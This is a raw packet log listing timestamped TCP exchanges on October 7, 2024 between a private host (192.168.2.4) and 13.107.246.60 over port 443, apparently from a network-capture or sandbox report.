Oct 7, 2024 03:04:13.335491896 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.335511923 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.335524082 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.335882902 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.337851048 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.337899923 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.338016987 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.338131905 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.338145971 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.338155031 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.338186026 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.338490963 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.338496923 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.402519941 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.403003931 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.403027058 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.403301001 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.403318882 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.410105944 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.410259008 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.410370111 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.410370111 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.410370111 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.413059950 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.413088083 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.413316011 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.413316011 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.413358927 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.437881947 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.437968016 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.438074112 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.438152075 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.438230991 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.438255072 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.438267946 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.438275099 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.440941095 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.441025972 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.441122055 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.441282034 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.441315889 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.474215031 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.474277020 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.501138926 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.501369953 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.501427889 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.501455069 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.501473904 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.501682997 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.501696110 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.501707077 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.501712084 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.504169941 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.504262924 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.504360914 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.504502058 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.504537106 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.724335909 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.724400043 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.812772036 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.813262939 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.813308954 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.813703060 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.813718081 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.910698891 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.910845995 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.910902977 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.911016941 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.911048889 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.911076069 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.911092043 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.913960934 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.914051056 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.914130926 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.914249897 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.914273977 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.970758915 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.971262932 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.971281052 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.971693039 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.971704006 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.069643021 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.069859982 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.069895983 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.069931984 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.069972038 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.070007086 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.070034027 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.070059061 CEST	49870	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.070071936 CEST	443	49870	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.072467089 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.072556019 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.072648048 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.072777987 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.072803974 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.088349104 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.088776112 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.088799953 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.089214087 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.089217901 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.095813990 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.096183062 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.096244097 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.096404076 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.096419096 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.164200068 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.164772034 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.164829969 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.165231943 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.165246964 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.189866066 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.190021038 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.190090895 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.190267086 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.190279961 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.190289974 CEST	49871	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.190294981 CEST	443	49871	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.192976952 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.193010092 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.193074942 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.193201065 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.193209887 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.195828915 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.195921898 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.195986986 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.196014881 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.196079969 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.196124077 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.196156979 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.196192026 CEST	49872	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.196208000 CEST	443	49872	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.198184967 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.198201895 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.198272943 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.198405027 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.198421001 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.267116070 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.267235994 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.267297983 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.267451048 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.267452002 CEST	49873	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.267484903 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.267508030 CEST	443	49873	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.270200968 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.270225048 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.270304918 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.270474911 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.270487070 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.580291986 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.580830097 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.580897093 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.581280947 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.581295013 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.682775974 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.682949066 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.683028936 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.683113098 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.683161020 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.683211088 CEST	49874	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.683226109 CEST	443	49874	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.686048985 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.686079025 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.686171055 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.686331987 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.686346054 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.731837034 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.732398033 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.732458115 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.732840061 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.732893944 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.833022118 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.833781004 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.833796024 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.834245920 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.834250927 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.834810019 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.835531950 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.835604906 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.835686922 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.835686922 CEST	49875	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.835728884 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.835761070 CEST	443	49875	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.836390018 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.836694002 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.836724997 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.837097883 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.837104082 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.838161945 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.838262081 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.838331938 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.838459015 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.838484049 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.901410103 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.901829958 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.901839972 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.902400970 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.902405977 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.930962086 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.931049109 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.931107044 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.931130886 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.931154966 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.931199074 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.931291103 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.931302071 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.931313992 CEST	49876	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.931318045 CEST	443	49876	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.933942080 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.933967113 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.934029102 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.934139967 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.934153080 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.935079098 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.935282946 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.935339928 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.935380936 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.935404062 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.935420036 CEST	49877	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.935426950 CEST	443	49877	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.937249899 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.937258005 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.937313080 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.937444925 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.937457085 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.999011040 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.999511003 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.999550104 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.999557972 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.999593019 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.999631882 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.999644995 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:14.999676943 CEST	49878	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:14.999682903 CEST	443	49878	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.002072096 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.002145052 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.002230883 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.002440929 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.002474070 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.321178913 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.321669102 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.321692944 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.322123051 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.322129011 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.420654058 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.420833111 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.420905113 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.420952082 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.420968056 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.420980930 CEST	49879	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.420984983 CEST	443	49879	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.423326015 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.423372030 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.423455000 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.423587084 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.423603058 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.471262932 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.471702099 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.471740961 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.472119093 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.472132921 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.579982042 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.580065966 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.580132008 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.580303907 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.580338001 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.580364943 CEST	49880	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.580380917 CEST	443	49880	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.582930088 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.583017111 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.583144903 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.583348989 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.583401918 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.585575104 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.585918903 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.585935116 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.586383104 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.586389065 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.599208117 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.599586010 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.599618912 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.600018024 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.600023985 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.652523994 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.652959108 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.652981043 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.653364897 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.653376102 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.688190937 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.688261986 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.688358068 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.688400030 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.688424110 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.688505888 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.688522100 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.688533068 CEST	49882	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.688538074 CEST	443	49882	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.691215992 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.691281080 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.691370964 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.691534996 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.691561937 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.752784967 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.753012896 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.753076077 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.753127098 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.753127098 CEST	49883	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.753154039 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.753175974 CEST	443	49883	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.755549908 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.755584002 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.755651951 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.755774975 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.755784988 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.984070063 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.984250069 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.984308958 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.984483004 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.984498024 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.984508991 CEST	49881	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.984513998 CEST	443	49881	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.987299919 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.987335920 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:15.987509012 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.987685919 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:15.987700939 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.181519032 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.182148933 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.182176113 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.182615995 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.182621956 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.223032951 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.223603964 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.223664045 CEST	443	49885	13.107.246.60	192.168.2.4
